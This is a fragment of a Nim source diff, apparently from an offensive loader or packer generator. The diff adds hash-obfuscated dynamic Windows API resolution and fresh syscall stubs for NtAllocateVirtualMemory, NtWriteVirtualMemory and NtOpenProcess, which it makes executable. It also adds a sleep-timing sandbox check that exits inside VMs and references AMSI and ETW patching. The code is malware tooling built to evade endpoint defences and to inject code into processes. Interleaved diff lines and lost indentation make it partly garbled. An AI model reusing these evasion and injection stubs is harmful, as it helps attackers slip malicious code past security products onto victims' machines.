MySetThreadContext = cast[SetThreadContext_t](cast[LPVOID](get_function_address(cast[HMODULE](get_library_address(KERNEL32_DLL, TRUE)), SetThreadContext_HASH, 0, FALSE)))
MyCloseHandle = cast[CloseHandle_t](cast[LPVOID](get_function_address(cast[HMODULE](get_library_address(KERNEL32_DLL, TRUE)), CloseHandle_HASH, 0, FALSE)))
MyOpenThread = cast[OpenThread_t](cast[LPVOID](get_function_address(cast[HMODULE](get_library_address(KERNEL32_DLL, TRUE)), OpenThread_HASH, 0, FALSE)))
MyGetCurrentThreadId = cast[GetCurrentThreadId_t](cast[LPVOID](get_function_address(cast[HMODULE](get_library_address(KERNEL32_DLL, TRUE)), GetCurrentThreadId_HASH, 0, FALSE)))
MyWaitForSingleObject = cast[WaitForSingleObject_t](cast[LPVOID](get_function_address(cast[HMODULE](get_library_address(KERNEL32_DLL, TRUE)), WaitForSingleObject_HASH, 0, FALSE)))
when not defined(SkipDefaultSandBoxChecks):
MySleep = cast[Sleep_t](cast[LPVOID](get_function_address(cast[HMODULE](get_library_address(KERNEL32_DLL, TRUE)), Sleep_HASH, 0, FALSE)))
MyGetTickCount = cast[GetTickCount_t](cast[LPVOID](get_function_address(cast[HMODULE](get_library_address(KERNEL32_DLL, TRUE)), GetTickCount_HASH, 0, FALSE)))
"""
let DInvokeLoadLibraryAGetProcAddress * = """
type
LoadLibraryA_t = proc (lpLibFileName: LPCSTR): HMODULE {.stdcall.}
GetProcAddress_t = proc (hModule: HMODULE, lpProcName: LPCSTR): FARPROC {.stdcall.}
#GetProcAddress_t = proc (hModule: HMODULE, lpProcName: LPCSTR): FARPROC {.stdcall.}
const
LoadLibraryA_HASH = obf("LoadLibraryA")
GetProcAddress_HASH = obf("GetProcAddress")
#GetProcAddress_HASH = obf("GetProcAddress")
var MyLoadLibraryA: LoadLibraryA_t
var MyGetProcAddress: GetProcAddress_t
#var MyGetProcAddress: GetProcAddress_t
MyLoadLibraryA = cast[LoadLibraryA_t](cast[LPVOID](get_function_address(cast[HMODULE](get_library_address(KERNEL32_DLL, TRUE)), LoadLibraryA_HASH, 0, FALSE)))
MyGetProcAddress = cast[GetProcAddress_t](cast[LPVOID](get_function_address(cast[HMODULE](get_library_address(KERNEL32_DLL, TRUE)), GetProcAddress_HASH, 0, FALSE)))
#MyGetProcAddress = cast[GetProcAddress_t](cast[LPVOID](get_function_address(cast[HMODULE](get_library_address(KERNEL32_DLL, TRUE)), GetProcAddress_HASH, 0, FALSE)))
@@ -117,27 +183,23 @@ when defined(GetSyscallStub):
CreateFileA_t* = proc (lpFileName: LPCSTR, dwDesiredAccess: DWORD, dwShareMode: DWORD, lpSecurityAttributes: LPSECURITY_ATTRIBUTES, dwCreationDisposition: DWORD, dwFlagsAndAttributes: DWORD, hTemplateFile: HANDLE): HANDLE {.stdcall.}
GetFileSize_t* = proc (hFile: HANDLE, lpFileSizeHigh: LPDWORD): DWORD {.stdcall.}
RtlAllocateHeap_t* = proc (HeapHandle: PVOID, Flags: ULONG, Size: SIZE_T): PVOID {.stdcall.}
GetProcessHeap_t* = proc (): HANDLE {.stdcall.}
ReadFile_t* = proc (hFile: HANDLE, lpBuffer: LPVOID, nNumberOfBytesToRead: DWORD, lpNumberOfBytesRead: LPDWORD, lpOverlapped: LPOVERLAPPED): WINBOOL {.stdcall.}
const
CreateFileA_HASH * = obf("CreateFileA")
GetFileSize_HASH * = obf("GetFileSize")
RtlAllocateHeap_HASH * = obf("RtlAllocateHeap")
GetProcessHeap_HASH * = obf("GetProcessHeap")
ReadFile_HASH * = obf("ReadFile")
when defined(DInvoke):
var MyCreateFileA*: CreateFileA_t
var MyGetFileSize*: GetFileSize_t
var MyRtlAllocateHeap*: RtlAllocateHeap_t
var MyGetProcessHeap*: GetProcessHeap_t
var MyReadFile*: ReadFile_t
when defined(DInvoke):
MyCreateFileA = cast[CreateFileA_t](cast[LPVOID](get_function_address(cast[HMODULE](get_library_address(KERNEL32_DLL, TRUE)), CreateFileA_HASH, 0, FALSE)))
MyGetFileSize = cast[GetFileSize_t](cast[LPVOID](get_function_address(cast[HMODULE](get_library_address(KERNEL32_DLL, TRUE)), GetFileSize_HASH, 0, FALSE)))
MyRtlAllocateHeap = cast[RtlAllocateHeap_t](cast[LPVOID](get_function_address(cast[HMODULE](get_library_address(NTDLL_DLL, FALSE)), RtlAllocateHeap_HASH, 0, TRUE)))
MyGetProcessHeap = cast[GetProcessHeap_t](cast[LPVOID](get_function_address(cast[HMODULE](get_library_address(KERNEL32_DLL, TRUE)), GetProcessHeap_HASH, 0, FALSE)))
MyReadFile = cast[ReadFile_t](cast[LPVOID](get_function_address(cast[HMODULE](get_library_address(KERNEL32_DLL, TRUE)), ReadFile_HASH, 0, FALSE)))
proc RVAtoRawOffset(RVA: DWORD_PTR, section: PIMAGE_SECTION_HEADER): PVOID =
@@ -225,27 +287,13 @@ let RetrieveSyscallStubs * = """
# Define NtProtectVirtualMemory
NtProtectVirtualMemory = cast[myNtProtectVirtM](cast[LPVOID](syscallStub_NtProtect))
when defined(DInvoke):
var syssuccess = MyVirtualProtect(cast[LPVOID](syscallStub_NtProtect), cast[SIZE_T](SYSCALL_STUB_SIZE), PAGE_EXECUTE_READWRITE, addr oldProtection)
else:
var syssuccess = VirtualProtect(cast[LPVOID](syscallStub_NtProtect), cast[SIZE_T](SYSCALL_STUB_SIZE), PAGE_EXECUTE_READWRITE, addr oldProtection)
# define NtWriteVirtualMemory
NtWriteVirtualMemory = cast[myNtWriteVirtualMemory](cast[LPVOID](syscallStub_NtWrite))
when defined(DInvoke):
syssuccess = MyVirtualProtect(cast[LPVOID](syscallStub_NtWrite), cast[SIZE_T](SYSCALL_STUB_SIZE), PAGE_EXECUTE_READWRITE, addr oldProtection)
else:
syssuccess = VirtualProtect(cast[LPVOID](syscallStub_NtWrite), cast[SIZE_T](SYSCALL_STUB_SIZE), PAGE_EXECUTE_READWRITE, addr oldProtection)
# define NtAllocateVirtualMemory
NtAllocateVirtualMemory = cast[myNtAllocateVirtM](cast[LPVOID](syscallStub_NtAlloc))
when defined(DInvoke):
syssuccess = MyVirtualProtect(cast[LPVOID](syscallStub_NtAlloc), cast[SIZE_T](SYSCALL_STUB_SIZE), PAGE_EXECUTE_READWRITE, addr oldProtection)
else:
syssuccess = VirtualProtect(cast[LPVOID](syscallStub_NtAlloc), cast[SIZE_T](SYSCALL_STUB_SIZE), PAGE_EXECUTE_READWRITE, addr oldProtection)
NtAllocateVirtualMemory = cast[myNtAllocateVirtM](cast[LPVOID](syscallStub_NtAlloc))
syssuccess = GetSyscallStub(obf("NtProtectVirtualMemory"), cast[LPVOID](syscallStub_NtProtect))
var syssuccess = GetSyscallStub(obf("NtProtectVirtualMemory"), cast[LPVOID](syscallStub_NtProtect))
when defined(verbose):
echo obf("[*] GetSyscallStub NtProtectVirtualMemory: ") & $syssuccess
syssuccess = GetSyscallStub(obf("NtWriteVirtualMemory"), cast[LPVOID](syscallStub_NtWrite))
@@ -290,7 +338,10 @@ let RetrieveSyscallStubs * = """
var syscallStub_NtOpenP: HANDLE = cast[HANDLE](syscallStub_NtProtect) + (6 * cast[HANDLE](SYSCALL_STUB_SIZE))
# define NtOpenProcess
var NtOpenProcess: myNtOpenProcess = cast[myNtOpenProcess](cast[LPVOID](syscallStub_NtOpenP))
VirtualProtect(cast[LPVOID](syscallStub_NtOpenP), cast[SIZE_T](SYSCALL_STUB_SIZE), PAGE_EXECUTE_READWRITE, addr oldProtection)
when defined(DInvoke):
MyVirtualProtect(cast[LPVOID](syscallStub_NtOpenP), cast[SIZE_T](SYSCALL_STUB_SIZE), PAGE_EXECUTE_READWRITE, addr oldProtection)
else:
VirtualProtect(cast[LPVOID](syscallStub_NtOpenP), cast[SIZE_T](SYSCALL_STUB_SIZE), PAGE_EXECUTE_READWRITE, addr oldProtection)
syssuccess = GetSyscallStub("NtOpenProcess", cast[LPVOID](syscallStub_NtOpenP))
when defined(verbose):
+32 -8
View File
@@ -1389,7 +1389,9 @@ when defined(ProviderPatch):
when not defined(DInvoke):
proc LdrLoadDll*(PathToFile: PWCHAR, Flags: ULONG, ModuleFileName: PUNICODE_STRING, ModuleHandle: PHANDLE): NTSTATUS {.
importc: "LdrLoadDll", dynlib: "ntdll", stdcall, discardable.}
importc: "LdrLoadDll", dynlib: "ntdll", stdcall, discardable.}
proc RtlAddVectoredExceptionHandler*(FirstHandler: ULONG, VectoredHandler: PVOID): PVOID {.
importc: "RtlAddVectoredExceptionHandler", dynlib: "ntdll", stdcall, discardable.}
when defined(HardwareETW):
from winim/clr import load,clrVariantToString,new,`.`,VT_BSTR,invoke
@@ -1489,6 +1491,15 @@ proc calcHard *(): int =
if ((rand mod 9) != 0):
rand += 15
return rand
# we need our custom lstrlenW function here, as otherwise the compiler throws errors when going without dynlib
proc lstrlenW*(lpString: PWCHAR): int =
var i = 0
while lpString[i] != 0:
inc(i)
return i
"""
let Cryptstub15 = fmt"""
@@ -1561,16 +1572,28 @@ let Accelerated_sleepStub * = fmt"""
proc accelerated_sleep*(): void =
var
dwStart: DWORD = GetTickCount()
dwStart: DWORD
dwEnd: DWORD = 0
when defined(DInvoke):
dwStart = MyGetTickCount()
else:
dwStart = GetTickCount()
# Lets Sleep for two seconds
Sleep(2000)
dwEnd = GetTickCount()
when defined(DInvoke):
discard MySleep(1500)
else:
Sleep(1500)
when defined(DInvoke):
dwEnd = MyGetTickCount()
else:
dwEnd = GetTickCount()
var dwDiff = dwEnd - dwStart
# If we slept for less than 2 seconds, we are in a VM
if (dwDiff < 1800):
quit(1)
if (dwDiff < 1300):
quit()
else:
when defined(verbose):
echo obf("[*] We don't appear to be in a sandbox according to the Sleep time")
@@ -2048,6 +2071,9 @@ if (not noDInvoke):
stub.add(DInvokeStubFourth)
stub.add(DInvokeBaseStub)
if (getfreshstub):
stub.add(GetSyscallStub)
if(pump):
# makes no sense to import strenc when strings should be visible in the binary.
stub = stub.replace(" import strenc", " from winim import MODULEENTRY32A")
@@ -2095,8 +2121,6 @@ if(gosleep or remoteETWpatch or remoteAMSIpatch):
stub.add(getRandStubNoTab())
if (getfreshstub):
stub.add(GetSyscallStub)
if (syswhispers):
if(jump):